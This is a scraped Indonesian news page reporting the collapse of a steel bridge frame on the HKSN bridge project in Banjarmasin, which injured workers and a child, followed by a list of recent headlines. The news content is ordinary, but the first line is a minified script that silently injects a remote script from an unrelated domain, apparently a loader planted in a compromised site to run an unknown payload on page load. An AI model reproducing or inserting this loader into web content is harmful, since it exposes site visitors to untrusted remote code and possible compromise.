(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Rangka Besi Jembatan HKSN Ambruk Timpa Pekerja, ‘Musibah’ di Hari Jadi ke-494 Kota Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Ketika momen perayaan Hari Jadi ke-494 Kota Banjarmasin, rangka besi proyek jembatan HKSN yang bersebelahan dengan makam Sultan Suriansyah ambruk dan menimpa 4 pekerja dan 1 anak, Kamis (24/9/2020) pagi.

Peristiwa kecelakaan kerja proyek pemerintah tersebut terjadi pada pukul 08.00 Wita di kala para pejabat Pemerintah Kota Banjarmasin sedang mengikuti prosesi ziarah ke makam Sultan Suriansyah dalam rangkaian kegiatan Hari Jadi ke-494 Kota Banjarmasin.

Suara keras yang ditimbulkan akibat ambruknya konstruksi rangka besi jembatan tersebut sontak membuat warga setempat panik dan langsung mendatangi lokasi kejadian. Bahkan, rangka besi yang ambruk tersebut membuat beberapa pekerja sempat terkurung di bawahnya.

Rangka besi proyek jembatan HKSN Banjarmasin yang ambruk, Kamis (24/9/2020). Foto : ist

 

Salah satu pekerja proyek jembatan HKSN tersebut, Sugianto mengaku tidak menyangka dengan apa yang dialaminya hingga membuat luka di tubuhnya.

“Awalnya rangka besi yang ambruk itu miring dan mau dibenarkan, tiba-tiba saja langsung ambruk,” ungkap Sugianto.

Saat kejadian itu, ia melanjutkan bersama anaknya Ardianto dan rekannya pekerja lain, berada di bawah untuk meratakan posisi rangka besi yang posisinya miring. Alhasil, anak dan empat orang rekannya yang lain mengalami cedera cukup serius.

“Anak saya luka di bagian dada. Yang lainnya juga luka cukup parah, hingga akhirnya diputuskan untuk dilarikan ke RS Ansari Saleh,” terangnya.

Tak lama berselang insiden ini, pihak kepolisian langsung turun ke Tempat Kejadian Perkara (TKP) untuk melihat langsung lokasi dan mencari informasi kronologis saat kejadian.

Kapolsek Banjarmasin Utara AKP Gita Suhandi Achmadi mengaku akan menyelidiki terlebih dahulu apakah ada unsur kelalaian atau murni musibah terkait peristiwa kecelakaan kerja tersebut.

“Kami akan mengumpulkan keterangan dari para saksi dan korban lebih dahulu, untuk menggali informasi lebih jauh mengenai insiden ini,” singkatnya. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.